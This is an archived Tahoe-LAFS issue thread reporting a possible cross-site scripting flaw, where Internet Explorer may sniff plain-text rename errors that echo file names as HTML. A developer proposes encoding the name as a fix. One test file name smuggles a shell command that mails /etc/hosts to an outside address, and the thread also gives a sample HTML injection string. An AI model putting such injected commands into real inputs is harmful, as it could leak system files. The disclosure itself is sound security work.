tahoe-lafs/trac-2024-07-25

Unlikely XSS Potential in File Names in WUI #1142

New issue

Open

opened 2010-08-01 04:56:48 +00:00 by chrisp · 1 comment

chrisp commented

2010-08-01 04:56:48 +00:00

Owner

I have a file named "zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts" in the pubgrid root (http://pubgrid.tahoe-lafs.org/uri/URI%3ADIR2%3Actmtx2awdo4xt77x5xxaz6nyxm%3An5t546ddvd6xlv4v6se6sjympbdbvo7orwizuzl42urm73sxazqa/).

When you try to rename it, you get the message:

"No such child: zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts"

served as text/plain. IE will render text/plain as HTML if it detects HTML in the plain text. Pathetic, but true. To attack this, the attacker would have to convince the user to add a maliciously-named file to their directory, so it's more social engineering than automatable attack, but still.

I have a file named "zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts" in the pubgrid root (<http://pubgrid.tahoe-lafs.org/uri/URI%3ADIR2%3Actmtx2awdo4xt77x5xxaz6nyxm%3An5t546ddvd6xlv4v6se6sjympbdbvo7orwizuzl42urm73sxazqa/>). When you try to rename it, you get the message: "No such child: zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts" served as text/plain. IE will render text/plain as HTML if it detects HTML in the plain text. Pathetic, but true. To attack this, the attacker would have to convince the user to add a maliciously-named file to their directory, so it's more social engineering than automatable attack, but still.

tahoe-lafs added the

labels 2010-08-01 04:56:48 +00:00

tahoe-lafs added this to the undecided milestone 2010-08-01 04:56:48 +00:00

warner commented

2010-08-04 23:27:51 +00:00

Author

Owner

Do we know what their HTML-detector looks like? Is is looking at the start of the body, or in the middle? Specifically, would a text/plain response that says "No such child: <html>

yay XSS

</html>" get picked up as HTML?

If it's really stupid and looks in the middle, I suppose our defense is to return a text/html error message in which the filename has been safely encoded. (the CLI tools use a "Accept: text/plain, application/octet-stream" header, and I imagine IE accepts text/html, so we can have the server continue to give text/plain to the CLI tools).

Do we know what their HTML-detector looks like? Is is looking at the start of the body, or in the middle? Specifically, would a text/plain response that says "No such child: <html><body><div>yay XSS</div></body></html>" get picked up as HTML? If it's really stupid and looks in the middle, I suppose our defense is to return a text/html error message in which the filename has been safely encoded. (the CLI tools use a "Accept: text/plain, application/octet-stream" header, and I imagine IE accepts text/html, so we can have the server continue to give text/plain to the CLI tools).

tahoe-lafs added

code-frontend-web

and removed

unknown

labels 2011-05-20 22:28:52 +00:00